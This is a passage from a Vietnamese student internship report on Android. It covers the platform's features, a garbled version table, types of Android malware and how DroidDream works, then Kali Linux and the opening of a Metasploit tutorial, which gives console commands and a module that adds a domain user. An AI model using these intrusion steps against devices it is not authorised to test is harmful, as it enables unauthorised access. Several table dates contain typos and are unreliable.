nghệ tìm kiếm và các ứng dụng của họ vào điện thoại di động và họ đang nỗ lực làm việc để thực 
hiện điều này. Các phương tiện truyền thông in và online cũng sớm có bài viết về những tin đồn 
cho rằng Google đang phát triển một thiết bị cầm tay mang thương hiệu Google. Và lại càng có 
nhiều suy đoán sau bài viết về việc Google đang định nghĩa các đặc tả công nghệ và trình diễn các 
mẫu thử với các nhà sản xuất điện thoại di động và nhà mạng. 
1.3.Đặt điểm của Android 
1.3.1. Tính mở 
Android được xây dựng từ dưới đi lên cho phép người phát triển tạo các ứng dụng di động hấp dẫn 
với đầy đủ các điểm mạnh của các thiết bị cầm tay hiện có. Android hoàn toàn mở, một ứng dụng 
có thể gọi tới bất kể một chức năng lõi của điện thoại như tạo cuộc gọi, gửi tin nhắn hay sử dụng 
máy ảnh, cho phép người phát triển tạo phong phú hơn, liên kết hơn các tính năng cho người dùng. 
Android được xây dựng trên nhân Linux mở. Thêm nữa, nó sử dụng một máy ảo mà đã được tối ưu 
hóa bộ nhớ và phần cứng với môi trường di động. Android mà một mã nguồn mở, nó có thể được 
mở rộng để kết hợp tự do giữa các công nghệ nổi trội. Nền tảng này sẽ tiếp tục phát triển bởi cộng 
đồng phát triển để tạo ra các ứng dụng di động hoàn hảo. 
1.3.2. Tính ngang bằng của các ứng dụng. 
Với Android, không có sự khác nhau giữa các ứng dụng điện thoại cơ bản với ứng dụng của bên 
thứ ba. Chúng được xây dựng để truy cập như nhau tới một loạt các ứng dụng và dịch vụ của điện 
thoại. Với các thiết bị được xây dựng trên nền tảng Android, người dùng có thể đáp ứng đầy đủ các 
nhu cầu mà họ thích. Chúng ta có thể đổi màn hình nền, kiểu gọi điện thoại, hay bất kể ứng 
dụng nào. Chúng ta thậm chí có thể hướng dẫn điện thoại chỉ xem những ảnh mình thích. 
1.3.3. Phá vỡ rào cản phát triển ứng dụng. 
Android phá vỡ rào cản để tạo ứng dụng mới và cải tiến. Một người phát triển có thể kết hợp thông 
tin từ trang web với dữ liệu trên điện thoại cá nhân – chẳng hạn như danh bạ, lịch hay vị trí trên 
bản đồ – để cung cấp chính xác hơn cho người khác. Với Android, người phát triển có thể xây 
dựng một ứng dụng mà cho phép người dùng xem vị trí của những người bạn và thông báo khi họ 
đang ở vị trí lân cận. Tất cả được lập trình dễ dàng thông qua sự hỗ trợ của MapView và dịch vụ 
định vị toàn cầu GPS. 
1.3.4. Xây dựng ứng dụng dễ dàng và nhanh chóng 
Android cung cấp bộ thư viện giao diện lập trình ứng dụng đồ sộ và các công cụ để viết các ứng 
dụng phức tạp. Ví dụ, Android có thể cho phép người phát triển biết được vị trí của thiết bị và cho 
phép các thiết bị giao tiếp với nhau để có thể tạo nên mạng xã hội chia sẻ ngang hàng rộng khắp. 
Thêm nữa, Android còn bao gồm một bộ công cụ đầy đủ giúp cho việc phát triển trở nên dễ dàng. 
SVTT: Nguyễn Tuấn Kiệt - 1120084 Trang 19
Báo cáo thực tập GVHD: Võ Đỗ Thắng 
1.4.Các phiên bản của android 
Lịch sử phiên bản của hệ điều hành di động Android bắt đầu với bản Android beta vào tháng 11 
năm 2007. Phiên bản thương mại đầu tiên, Android 1.0, được phát hành vào tháng 9 năm 2008. 
Android đang được phát triển bởi Google và Open Handset Alliance (OHA), và đã có một số bản 
cập nhật cho hệ điều hành này kể từ khi ra mắt. 
Từ tháng 4 2009, phiên bản Android được phát triển dưới tên mã là chủ đề bánh kẹo và phát hành 
theo thứ tự bảng chữ cái: Cupcake (1.5), Donut (1.6), Eclair (2.0–2.1), Froyo (2.2–2.2.3), 
Gingerbread (2.3–2.3.7), Honeycomb (3.0–3.2.6), Ice Cream Sandwich (4.0–4.0.4), Jelly Bean 
(4.1–4.3), và KitKat (4.4). Vào 3 tháng 9 năm 2013, Google công bố rằng 1 tỉ thiết bị đã được kích 
hoạt hiện sử dụng Android OS trên toàn cầu. Bản cập nhật Android gần đây nhất là KitKat 4.4, nó 
được phát hành bản thương mại trên thiết bị 22 tháng 11 2013, thông qua cập nhật OTA. 
Phiên bản API Tên Ngày phát hành 
1.0 Cấp 1 23/9/ 2008 
1.1 Cấp 2 9/2/2009 
1.5 Cấp 3 Cupcake 30/4/2009 
1.6 Cấp 4 Donut 15/9/2009 
2.0 Cấp 5 
2.0.1 Cấp 6 Eclair 
3/12/2009 
26/10/2009 
2.1 Cấp 7 12/1/2010 
2.2 
2.2.1 18/1/2011 
Cấp 8 Froyo 
20/5/2010 
2.2.2 22/1/2011 
2.2.3 21/11/2011 
2.3 
2.3.1 Cấp 9 Gingerbread 
12/2010 
6/12/2010 
2.3.2 1/2011 
2.3.3 
2.3.4 28/4/2011 
2.3.5 Cấp 10 Gingerbread 
25/7/2011 
9/2/2011 
2.3.6 2/9/2011 
2.3.7 21/9/2011 
SVTT: Nguyễn Tuấn Kiệt - 1120084 Trang 20
Báo cáo thực tập GVHD: Võ Đỗ Thắng 
3.0 Cấp 11 
3.1 Cấp 12 10/5/2011 
3.2.1 20/9/2011 
3.2.2 Honeycomb 
30/8/2011 
22/2/2011 
3.2 
Cấp 13 
15/7/2011 
3.2.3 
3.2.4 12/2011 
3.2.5 1/2012 
3.2.6 2/1012 
4.0 
4.0.1 Cấp 14 
21/10/2011 
Ice Cream 
Sandwich 
19/10/2011 
4.0.2 28/11/2011 
4.0.3 
Cấp 15 
16/12/2011 
4.0.4 29/3/2012 
4.1 
4.1.1 Cấp 16 Jelly Bean 
23/7/2012 
9/7/2012 
4.1.2 9/10/2012 
4.2 
4.2.1 Cấp 17 
27/11/2012 
13/11/2012 
4.2.2 11/2/2013 
4.3 
Cấp 18 
24/7/1013 
4.3.1 3/10/2013 
4.4 
4.4.1 5/12/2013 
4.4.2 Cấp 19 KitKat 
9/12/2013 
31/10/2013 
4.4.3 2/6/2014 
4.4.4 19/6/2014 
SVTT: Nguyễn Tuấn Kiệt - 1120084 Trang 21
Báo cáo thực tập GVHD: Võ Đỗ Thắng 
1.5.Tỷ lệ sử dụng các phiên bản android 
Phần lớn các thiết bị Android cho tới nay vẫn chạy hệ điều hành phiên bản 4.1.x Jelly Bean được 
phát hành ngày 9 tháng 7 năm 2012 nhờ tính ổn định và hỗ trợ tốt các máy có cấu hình thấp cùng 
với các phiên bản 4.x khác. Bên cạnh đó các thiết bị Android vẫn còn sử dụng các phiên bản cũ hơn 
là 2.3 Gingerbread phát hành ngày 6 tháng 12 năm 2010. 
Tỷ lệ sử dụng các phiên bản khác nhau tính đến ngày 20 tháng 7 năm 2014 
1.6.So sánh android 2.3 (Gingerbread) và android 4.x (4.0 – Ice Cream Sandwich): 
Android 2.3, tên mã là Gingerbread được phát hành vào ngày 6 tháng 12 năm 2010 và là một bản nâng 
cấp của Android v2.2 Froyo. Các phiên bản 2.3 được thiết kế đặc biệt cho điện thoại thông minh, nó 
được coi là một trong những phiên bản phổ biến nhất của Android cho điện thoại thông minh. Ngoài bố 
trí đã có sẵn trên Froyo, công ty cung cấp các thay đổi như giao diện người dùng được cập nhật, tăng 
tốc độ và sự đơn giản, hỗ trợ cho màn hình lớn hơn và độ phân giải cao, hỗ trợ cho hệ thống điện thoại 
SIP VOIP, bàn phím ảo nhanh hơn và trực quan hơn, chức năng sao chép dán nâng cao, hỗ trợ NFC, 
hiệu ứng âm thanh mới, quản lý download mới, hỗ trợ nhiều camera, hỗ trợ xem video WebM/VP8 và 
AAC mã hóa âm thanh, cải thiện quản lý điện năng, chuyển từ YAFFS đến ext4 trên các thiết bị mới 
hơn, âm thanh, đồ họa và cải tiến đầu vào cho các nhà phát triển trò chơi, đồng thời thu gom rác thải và 
hỗ trợ cho các cảm biến nhiều hơn. Công ty cũng vận chuyển một cập nhật nhỏ cho Gingerbread theo 
phiên bản 2.3.3-2.3.7. Những bản cập nhật được cung cấp tính năng mới như: hỗ trợ cho giọng nói hoặc 
video chat, mở cửa phụ kiện hỗ trợ thư viện, cải tiến để ứng dụng gmail, hình ảnh động bóng cho danh 
sách cuộn, cải tiến phần mềm máy ảnh và cải thiện hiệu quả pin. 
Android 4.0 Ice Cream Sandwich đã được công khai phát hành vào ngày 19 Tháng 10 năm 2011. Các 
Android 4.0 thật sự là một sự là một bản nâng cấp của 2.3 Gingerbread và được cung cấp một loạt các 
SVTT: Nguyễn Tuấn Kiệt - 1120084 Trang 22
Báo cáo thực tập GVHD: Võ Đỗ Thắng 
tính năng mới. Android cũng đã có phiên bản 3.0, chỉ dành cho máy tính bảng. Phiên bản này về cơ bản 
là một sự kết hợp của Android 2.3.x và Android 3.x. Công ty cung cấp các tính năng cập nhật như: nút 
mềm, widgets, dễ dàng để tạo thư mục mới, cải thiện thư thoại trực quan, chức năng pinch-to-zoom, 
chụp ảnh màn hình, bàn phím được cải thiện, khả năng truy cập các ứng dụng từ lockscreen, tính năng 
mở khóa bằng nhận diện khuôn mặt, trình duyệt web theo thẻ, tự động đồng bộ hóa trình duyệt chrome 
đánh dấu, kiểu chữ mới cho giao diện người dùng, cải thiện ứng dụng máy ảnh, được xây dựng trong 
biên tập ảnh, bố trí bộ sưu tập mới, ứng dụng tích hợp với mạng xã hội, cập nhật trạng thái và hình ảnh 
hi-res, khả năng tương thích NFC, tăng tốc phần cứng, quản lý wifi và quay video 1080p 
1.6.1. Sự khác nhau về yêu cầu phần cứng cần thiết để cài đặt 
Android 2.3 Android 4.0 
Cần ít nhất 128 MB bộ nhớ có sẵn cho Kernel 
và cho không gian người sử dụng 
Cần ít nhất 340 MB bộ nhớ có sẵn cho kernel và 
cho không gian người sử dụng 
Dung lượng Ram tối thiểu cần thiết là 150MB Dung lượng Ram tối thiểu cần thiết là 350 MB 
Màn hình: 
- Màn hình phải có kích cỡ ít nhất 2,5 inch 
- Mật độ phải được ít nhất 100 dpi 
- Tỉ lệ màn hình từ 1.333 (4:3) đến 1,779 
(16:9) 
- Công nghệ màn hình được sử dụng là 
công nghệ “ Square pixels” 
Màn hình: 
- Màn hình phải có kích cỡ ít nhất 
426x320 
- Mật độ phải được ít nhất 100 dpi 
- Tỉ lệ màn hình từ 1.333 (4:3) đến 1,85 
(16:9) 
Yêu cầu có các phím vậy lý Không yêu cầu có có phím vật lý 
Các API Android bao gồm trình quản lý 
download các ứng dụng có thể sử dụng để tải dữ 
liệu.Trình quản lí download phải có khả năng tải 
tập tin có dung lượng ít nhất 55 MB 
Các API Android bao gồm trình quản lý 
download các ứng dụng có thể sử dụng để tải dữ 
liệu.Trình quản lí download phải có khả năng tải 
tập tin có dung lượng ít nhất 100 MB 
1.6.2. Sự khác nhau về giao diện 
Giao diện người dùng của Android dựa trên nguyên tắc tác động trực tiếp, sử dụng cảm ứng 
chạm tương tự như những động tác ngoài đời thực như vuốt, chạm, kéo dãn và thu lại để xử lý các 
đối tượng trên màn hình. Sự phản ứng với tác động của người dùng diễn ra gần như ngay lập tức, 
nhằm tạo ra giao diện cảm ứng mượt mà, thường dùng tính năng rung của thiết bị để tạo phản hồi 
rung cho người dùng. Những thiết bị phần cứng bên trong như gia tốc kế, con quay hồi chuyển và 
cảm biến khoảng cách được một số ứng dụng sử dụng để phản hồi một số hành động khác của ngư ời 
SVTT: Nguyễn Tuấn Kiệt - 1120084 Trang 23
Báo cáo thực tập GVHD: Võ Đỗ Thắng 
dùng, ví dụ như điều chỉnh màn hình từ chế độ hiển thị dọc sang chế độ hiển thị ngang tùy theo vị 
trí của thiết bị, hoặc cho phép người dùng lái xe đua bằng xoay thiết bị, giống như đang điều khiển 
vô-lăng. 
Các thiết bị Android sau khi khởi động sẽ hiển thị màn hình chính, điểm khởi đầu với các 
thông tin chính trên thiết bị, tương tự như khái niệm desktop (bàn làm việc) trên máy tính để bàn. 
Màn hính chính Android thường gồm nhiều biểu tượng (icon) và tiện ích (widget); biểu tượng ứng 
dụng sẽ mở ứng dụng tương ứng, còn tiện ích hiển thị những nội dung sống động, cập nhật tự động 
như dự báo thời tiết, hộp thư của người dùng, hoặc những mẩu tin thời sự ngay trên màn hình chính. 
Màn hình chính có thể gồm nhiều trang xem được bằng cách vuốt ra trước hoặc sau, mặc dù giao 
diện màn hình chính của Android có thể tùy chỉnh ở mức cao, cho phép người dùng tự do sắp đặt 
hình dáng cũng như hành vi của thiết bị theo sở thích. Những ứng dụng do các hãng thứ ba có trên 
Google Play và các kho ứng dụng khác còn cho phép người dùng thay đổi "chủ đề" của màn hình 
chính, thậm chí bắt chước hình dáng của hệ điều hành khác như Windows Phone chẳng hạn. Phần 
lớn những nhà sản xuất, và một số nhà mạng, thực hiện thay đổi hình dáng và hành vi của các thiết 
bị Android của họ để phân biệt với các hãng cạnh tranh. 
Ở phía trên cùng màn hình là thanh trạng thái, hiển thị thông tin về thiết bị và tình trạng kết 
nối. Thanh trạng thái này có thể "kéo" xuống để xem màn hình thông báo gồm thông tin quan trọng 
hoặc cập nhật của các ứng dụng, như email hay tin nhắn SMS mới nhận, mà không làm gián đoạn 
hoặc khiến người dùng cảm thấy bất tiện. Trong các phiên bản đời đầu, người dùng có thể nhấn vào 
thông báo để mở ra ứng dụng tương ứng, về sau này các thông tin cập nhật được bổ sung theo tính 
năng, như có khả năng lập tức gọi ngược lại khi có cuộc gọi nhỡ mà không cần phải mở ứng dụng 
gọi điện ra. Thông báo sẽ luôn nằm đó cho đến khi người dùng đã đọc hoặc xóa nó đi. 
Android 2.3 Android 4.0 
Giao diện đơn giản Giao diện tinh tế hơn, trong suốt và đẹp mắt hơn 
Chỉ hỗ trợ phím ảo là phím Home Hỗ trợ các phím ảo: Home, Back, Menu 
Không có widget menu Có Widget menu giúp tìm nhanh thông tin mà 
không cần mở ứng dụng 
SVTT: Nguyễn Tuấn Kiệt - 1120084 Trang 24
Báo cáo thực tập GVHD: Võ Đỗ Thắng 
1.6.3. Sự khác nhau về tính năng 
Android 2.3 Android 4.0 
Thiết kế tối ưu hóa cho Smartphone Thiết kế tối ưu hóa cho Smartphone và Tablet 
Chỉ có thể xóa tất các các thông báo cùng lúc trên 
trình quản lý 
Chỉ có thể xóa riêng rẽ các thông báo cùng lúc 
trên trình quản lý 
Chỉ có thể trả lời, ngắt cuộc gọi khi màn hình bị 
khóa 
Có thể thực hiện thêm 1 số tính năng khi màn 
hình bị khoái ngoài trả lời , ngắt cuộc gọi như gửi 
tin nhắn 
Không có tính năng mở khóa màn hình nhận diện 
khuôn mặt 
Có tính năng mở khóa màn hình nhận diện khuôn 
mặt 
Không hỗ trợ chỉnh sửa hình ảnh Hỗ trợ chỉnh sửa hình ảnh , tự động nhận diện 
được tất cả các camera trên thiết bị 
1.6.4. Sự khác nhau về giao thức mạng 
Android 2.3 Android 4.0 
Không hỗ trợ giao thức https Hỗ trợ giao thức https 
SVTT: Nguyễn Tuấn Kiệt - 1120084 Trang 25
Báo cáo thực tập GVHD: Võ Đỗ Thắng 
2. Nghiên cứu về mã độc trong mỗi trường android 
2.1.Malware là gì? 
Malware (phần mềm độc hại) viết tắt của cụm từ Malicious Sofware, là một phần mềm máy tính 
được thiết kế với mục đích thâm nhập hoặc gây hỏng hóc và thay đổi các thực thi của hệ điều hành 
cũng như các chương trình ứng dụng mà không có sự cho phép của người dùng và bằng một cách 
nào đó mà người dùng nếu không để ý cũng không thể phát hiện được những thay đổi đó. 
Hình 1. 
Phần mềm độc hại đã xuất hiện từ rất lâu trên những hệ điều hành máy tính như Windows, các máy 
tính MAC và Linux (ở một mức độ thấp hơn), và bây giờ nó đã trở thành một mối nguy hại không 
nhỏ cho các thiết bị di động chạy Android. Sự có mặt của Android khiến cho các phần mềm độc 
hại thêm phần thích thú, tích cực tấn công hơn tới đông đảo người dùng Android. Nói về vấn đề 
này, Timothy Armstrong, một chuyên gia bảo mật tại Kaspersky Lab, cho biết: “Malware trên 
Android được phát hiện nhiều hơn hầu như mỗi ngày. Thời gian gần đây, chúng tôi đã phát hiện ra 
ba nhà phát triển ứng dụng (mà có khi là từ cùng 1 người) với tên gọi MYOURNET, Kingmall2010, 
we20092020 đã cung cấp các ứng dụng để tải về miễn phí trên Android Market, mà hầu hết các 
ứng dụng đó đều chứa mã độc”. 
Hình 2. 
SVTT: Nguyễn Tuấn Kiệt - 1120084 Trang 26
Báo cáo thực tập GVHD: Võ Đỗ Thắng 
Năm 2012 là năm thứ hai cho thấy sự bùng nổ của phần mềm độc hại cho Android. Từ tám chương 
trình độc hại duy nhất vào tháng 1 năm 2011, tỷ lệ phát hiện trung bình hàng tháng phần mềm độc 
hại mới tấn công vào Android trong năm 2011 đã lên đến hơn 800 mẫu. Trong năm 2012, Kaspersky 
Lab đã xác định trung bình 6.300 mẫu phần mềm độc hại trên thiết bị di động mới mỗi tháng. Nhìn 
chung, trong năm 2012 số lượng mẫu độc hại cho Android được biết đến nhiều tăng hơn tám lần. 
2.2.Phân loại 
Đa số các phần mềm độc hại Android có thể được chia thành ba nhóm chính dựa theo chức năng: 
- SMS Trojans: bòn rút tài khoản di động của các nạn nhân bằng cách gửi tin nhắn SMS đến 
các số điện thoại được đánh giá cao. 
- Backdoors: cung cấp truy cập trái phép vào smartphone, cài đặt các chương trình độc hại 
khác hoặc ăn cắp dữ liệu cá nhân của người dùng. 
- Cuối cùng là các phần mềm gián điệp nhằm mục tiêu thu thập trái phép dữ liệu cá nhân, 
chẳng hạn như sổ địa chỉ và mật khẩu (hoặc thậm chí hình ảnh cá nhân). 
Trong nửa đầu năm 2012, Backdoors, tin nhắn SMS, Trojans và phần mềm gián điệp chiếm 51% 
các phần mềm độc hại cho Android mới được phát hiện. Trong bảng xếp hạng Top Ten phần mềm 
độc hại cho Android đã bị chặn bởi Kaspersky Mobile Security hoặc Kaspersky Tablet Security, 
SMS Trojans là phổ biến nhất và các ứng dụng hiển thị quảng cáo không mong muốn cho người sử 
dụng ở vị trí thứ hai. Ít phổ biến rộng rãi nhưng nguy hiểm nhất là Trojans ngân hàng trên di động 
thường xuyên làm việc kết hợp với các máy tính để bàn, ví dụ như Carberp. 
Nền tảng Android cho phép cài đặt phần mềm từ các nguồn không tin cậy, và là một trong những 
cách tốt nhất để đảm bảo sự lây nhiễm từ việc cài đặt các chương trình từ những trang web đáng 
ngờ. Tuy nhiên, phần mềm độc hại trên nền tảng phân phối ứng dụng chính thức Google Play là 
một xu hướng bắt đầu vào năm 2011 và tiếp tục trong năm 2012, bất chấp những nỗ lực tốt nhất 
của Google để làm giảm hoạt động tội phạm mạng. Một trong những ví dụ “khác thường” nhất của 
phần mềm độc hại trên di động trong năm 2012 là "Find and Call", ứng dụng đã len lỏi được vào 
Google Play cũng như kho ứng dụng của Apple. 
2.3.Cơ chế hoạt động của Malware 
Lấy một ví dụ cụ thể về 1 Malware rất phổ biến trong thời gian vừa qua đó là Malware DroidDream. 
Malware này hoạt động qua 2 giai đoạn: 
Giai đoạn đầu: DroidDream được nhúng vào trong một ứng dụng (số lượng ứng 
dụng chứa Malware này hiện đã nhiều hơn 50 ứng dụng) và sẽ chiếm được quyền root vào thiết bị 
của bạn ngay sau khi bạn chạy ứng dụng đó trong lần sử dụng đầu tiên. 
Giai đoạn 2: Tự động cài đặt một ứng dụng thứ 2 với một giấy phép đặc biệt cho phép 
quyền uninstall. Một khi các ứng dụng thứ 2 được cài đặt, nó có thể gửi các thông tin 
nhạy cảm tới một máy chủ từ xa và âm thầm tải thêm các ứng dụng khác. Một khi DroidDream 
chiếm được quyền root, Malware này sẽ chờ đợi và âm thầm cài đặt một ứng dụng thứ hai, 
DownloadProviderManager.apk như một ứng dụng hệ thống. Việc cài đặt ứng dụng hệ thống này 
nhằm ngăn ngừa người dùng xem hoặc gỡ bỏ cài đặt các ứng dụng mà không được phép. Nghiên 
cứu cài đặt HĐH Android trên các thiết bị laptop, smartphone.Không giống như giai đoạn đầu, 
người dùng phải khởi động ứng dụng để bắt đầu việc lây nhiễm, ở giai đoạn thứ 2 ứng dụng tự 
SVTT: Nguyễn Tuấn Kiệt - 1120084 Trang 27
Báo cáo thực tập GVHD: Võ Đỗ Thắng 
động làm một số việc như là confirm, checkin….Một điều nữa khiến cho bạn không thể biết chúng 
hoạt động lúc nào, đó là Malware DroidDream này được lập trình để làm hầu hết các công việc 
của mình vào khoảng thời gian từ 11h đêm tới 8h sáng ngày hôm sau. Đây là khoảng thời gian mà 
điện thoại ít có khả năng được sử dụng nhất. Điều này làm cho người dùng khó khăn hơn trong 
việc phát hiện một hành vi bất thường trên chiếc smartphone của mình. 
2.4.Mục đích của Malware DroidDream 
DroidDream được coi là một trong những Malware đầu tiên trên Android, mục đích của con 
DroidDream này mới chỉ dừng lại ở mức độ làm cho chiếc điện thoại của người dùng tự động cài 
đặt những ứng dụng chứa mã độc khác. Tuy nhiên các biến thể của nó đã kịp thời biến đổi để gây 
ra các mối nguy hại lớn hơn rất nhiều. Ví dụ như Hippo SMS có khả năng tự gửi tin nhắn mà 
không cần sự cho phép của người dùng, việc này sẽ khiến tiền cước phí của người dùng tăng lên 
một cách chóng mặt mà người dùng không biết rõ lí do tại sao. Hoặc một Malware khác là Zitmo, 
Malware này đưa ra các ứng dụng kích hoạt mọi hành động liên quan đến dịch vụ ngân hàng, tiếp 
nhận SMS gửi đến và chuyển tới máy chủ. Các đoạn code dùng 1 lần mà các ngân hàng thường gử i 
tới khách hàng thông qua tin nhắn SMS để chứng thực sẽ bị thu thập bởi các malware này. Hiện 
nay còn có một số Malware còn có khả năng nghe lén tất cả các cuộc điện thoại. Vấn đề này thực 
sự nguy hiểm khi tất cả các vấn đề riêng tư của chúng ta đang bị một theo dõi, vì vậy những mối 
nguy hiểm từ mã độc trên android đang thực sự đe dọa đến an sự an toàn của người dùng hệ điều 
hành này. 
2.5.Dấu hiệu bị nhiễm các phần mềm độc hại 
Cũng giống như trên máy tính, khi bị nhiễm malware, thiết bị Android của bạn sẽ có một số hành 
động khác thường và bạn không thể thay đổi được bất kỳ điều gì. 
- Sử dụng dữ liệu không rõ ràng: có rất nhiều phần mềm độc hại tồn tại để thu thập dữ liệu 
về tài khoản, số thẻ tín dụng, danh bạ, vv... Một khi có được các thông tin này, nó sẽ tự động 
được chuyển tiếp về cho người đã tạo ra nó. Và trong nhiều trường hợp, việc chuyển giao 
thông tin này sẽ dẫn đến sự khác lạ trong sử dụng dữ liệu. 
- Hiệu suất của thiết bị kém: tùy thuộc vào thời gian sử dụng và mức độ nghiêm trọng của 
việc lây nhiễm mà hiệu suất điện thoại của bạn sẽ bị giảm đi nhiều hay ít, đặc biệt là khi bạn 
đã khởi động lại thiết bị mà các vấn đề không được giảm bớt. 
- Thời lượng pin bị giảm: do hầu hết các phần mềm độc hại đều được thiết kế để chạy nền 
trong hệ thống, nên nó sẽ làm sụt giảm đáng kể thời lượng pin trên thiết bị của bạn. 
SVTT: Nguyễn Tuấn Kiệt - 1120084 Trang 28
Báo cáo thực tập GVHD: Võ Đỗ Thắng 
3. Xâm nhập android qua mạng local 
3.1.Giới thiệu về Kali Linux 
Trong những năm qua BackTrack là hệ điều hành được sử dụng nhiều nhất bởi các chuyên gia 
đánh giá bảo mật. BackTrack bắt đầu xuất hiện vào năm 2006 và trong 7 năm qua nó đã không 
ngừng cải tiến để đạt được một vị trí nhất định trong cộng đồng bảo mật trên khắp toàn thế giới. 
Vì vậy, ngày nay thật khó để tìm thấy một người nào đó quan tâm đến an toàn thông tin mà 
chưa từng nghe về BackTrack. 
Tháng 3 năm 2013, Offensive Security đã tiến thêm một bước mới khi công bố phiên bản tiến 
hóa của hệ điều hành BackTrack, tên của nó là Kali (được xem như phiên bản BackTrack 6), Kali 
là tên nữ thần của người Hindu, hàm ý sự biến đổi và khả năng hủy diệt hay có lẽ là tên một môn 
võ thuật của người Philippine ... 
Để qua một bên chuyện tên với tuổi, Kali Linux là một OS rất hữu ích đối với những chuyên 
gia đánh giá bảo mật, một OS tập hợp và phân loại gần như tất cả các công cụ thiết yếu mà bất kỳ 
một chuyên gia đánh giá bảo mật nào cũng cần sử dụng đến khi tác nghiệp. 
- Ưu điểm và Nhược điểm: 
Đối với những người chưa biết BackTrack, nói một cách ngắn gọn BackTrack là một bản phân 
phối Linux dựa trên nền tảng hệ điều hành Ubuntu, với nhiều công cụ bảo mật được phân loại rõ 
ràng để sử dụng. 
3.1.1. Kali phát triển trên nền tảng hệ điều hành Debian 
Điều này có nghĩa Kali có rất nhiều ưu điểm. Đầu tiên là các Repository (Kho lưu trữ phần 
mềm) được đồng bộ hóa với các Repository của Debian nên có thể dễ dàng có được các bản cập 
nhật vá lỗi bảo mật mới nhất và các cập nhật Repository. Duy trì cập nhật (up-to-date) đối với các 
công cụ Penetration Test là một yêu cầu vô cùng quan trọng. 
Một lợi thế khác là mọi công cụ trong Kali đều tuân theo chính sách quản lý gói của Debian. 
Điều này có vẻ không quan trọng nhưng nó đảm bảo rõ ràng về mặt cấu trúc hệ thống tổng thể, nó 
cũng giúp cho chúng ta có thể dễ dàng hơn trong việc xem xét hoặc thay đổi mã nguồn của các 
công cụ. 
Một ưu điểm quan trọng trong Kali là nó đã cải tiến khả năng tương thích với kiến trúc ARM. 
Từ khi Kali xuất hiện, nhiều phiên bản ấn tượng đã được tạo ra. 
3.1.2. Hỗ trợ mạng không dây tốt hơn 
Một trong những vấn đề được các nhà phát triển Kali chú trọng nhiều nhất, chính là sự hỗ trợ cho 
một số lượng lớn phần cứng bên trong các thiết bị mạng không dây hay USB Dongles. Một yêu cầu 
quan trọng khi các chuyên gia bảo mật thực hiện đánh giá mạng không dây. 
3.1.3. Khả năng tùy biến cao 
Kali rất linh hoạt khi đề cập đến giao diện hoặc khả năng tuỳ biến hệ thống. Đối với giao diện, giờ 
đây người dùng đã có thể chọn cho mình nhiều loại Desktops như GNOME, KDE hoặc XFCE tùy 
theo sở thích và thói quen sử dụng. 
SVTT: Nguyễn Tuấn Kiệt - 1120084 Trang 29
Báo cáo thực tập GVHD: Võ Đỗ Thắng 
3.1.4. Dễ dàng nâng cấp giữa các phiên bản Kali trong tương lai 
Đối với bất cứ ai sử dụng Kali, đây là một tính năng quan trọng khi bảo trì hệ điều hành Kali. Với 
BackTrack, bất kỳ lúc nào khi phiên bản mới được công bố thì chúng ta đều phải cài lại mới hoàn 
toàn (Ngoại trừ phiên bản R2 lên R3 năm ngoái). 
Giờ đây với Kali, nhờ vào sự chuyển đổi sang nền tảng hệ điều hành Debian, Kali đã dễ dàng hơn 
trong việc âng cấp hệ thống khi phiên bản mới xuất hiện, người dùng không phải cài lại mới hoàn 
toàn nữa. 
3.2.Cài đặt Kali Linux 
Trước tiên ta phải vào trang http://www.kali.org/downloads/ để download file ISO phiên bản mới 
nhất về 
Hình 3. 
Sau đó, ta bắt đầu cài cặt theo các bước bên dưới: 
Hình 4. Hình 5. 
SVTT: Nguyễn Tuấn Kiệt - 1120084 Trang 30
Báo cáo thực tập GVHD: Võ Đỗ Thắng 
Hình 6. Hình 7. 
Hình 8. Hình 9. 
SVTT: Nguyễn Tuấn Kiệt - 1120084 Trang 31
Báo cáo thực tập GVHD: Võ Đỗ Thắng 
Hình 10. Hình 11. 
Hình 12. Hình 13. 
SVTT: Nguyễn Tuấn Kiệt - 1120084 Trang 32
Báo cáo thực tập GVHD: Võ Đỗ Thắng 
Hình 14. Hình 15. 
Hình 16. 
SVTT: Nguyễn Tuấn Kiệt - 1120084 Trang 33
Báo cáo thực tập GVHD: Võ Đỗ Thắng 
Hình 17. 
Hình 18. 
SVTT: Nguyễn Tuấn Kiệt - 1120084 Trang 34
Báo cáo thực tập GVHD: Võ Đỗ Thắng 
Hình 19. 
Hình 20. 
SVTT: Nguyễn Tuấn Kiệt - 1120084 Trang 35
Báo cáo thực tập GVHD: Võ Đỗ Thắng 
Hình 21. 
Hình 22. 
SVTT: Nguyễn Tuấn Kiệt - 1120084 Trang 36
Báo cáo thực tập GVHD: Võ Đỗ Thắng 
Hình 23. 
Hình 24. 
SVTT: Nguyễn Tuấn Kiệt - 1120084 Trang 37
Báo cáo thực tập GVHD: Võ Đỗ Thắng 
Hình 25. 
Hình 26. 
SVTT: Nguyễn Tuấn Kiệt - 1120084 Trang 38
Báo cáo thực tập GVHD: Võ Đỗ Thắng 
Hình 27. 
Hình 28. 
SVTT: Nguyễn Tuấn Kiệt - 1120084 Trang 39
Báo cáo thực tập GVHD: Võ Đỗ Thắng 
Hình 29. 
3.3.Metasploit framework trong Kali linux 
3.3.1. Giới thiệu 
Metasploit framework là một framework mã nguồn mở phát triển nhằm sử dụng các shellcode 
(payload) để tấn công máy có lỗ hổng. Cùng với một số bộ công cụ bảo mật khác. Metasploit có cơ 
sở dữ liệu chứa hàng ngàn shellcode, hàng ngàn exploit của các hệ điều hành, các chương trình hay 
dịch vụ. Trong quá trình phát triển metasploit liên tục cập nhật các exploit... nên càng ngày nó càng 
trở thành một bộ công cụ mạnh mẽ. 
Metasploit framework là một bộ dự án sinh ra để kiểm tra độ an toàn, nhưng đối với những hacker 
thì nó thực sự là một công cụ vô cùng hữu ích (dùng để kiểm tra, khai thác lỗi, exploit…) 
3.3.2. Sử dụng metasploit framework 
3.3.2.1.Chọn module exploit: lựa chọn chương trình, dịch vụ lỗi mà metasploit có hỗ trợ để khai 
thác 
Muốn chọn ta có thể dùng lệnh "show exploits" để hiện ra tất cả các exploit mà metasploit 
framework có hỗ trợ. 
Để dùng exploit nào đó ta dùng câu lệnh "use name_exploit" .Trong đó tham số name_exploit là 
tên của exploit đc metasploit hỗ trợ. 
Để biết thêm các thông tin về exploit mà ta đã chọn có thể dùng lệnh "info name_exploit". 
SVTT: Nguyễn Tuấn Kiệt - 1120084 Trang 40
Báo cáo thực tập GVHD: Võ Đỗ Thắng 
Ví dụ: mình sử dụng một exploit sau khi đã liệt kê ra sẽ là: 
use windows/manage/add_user_domain 
3.3.2.2.Cấu hình module exploit đã chọn 
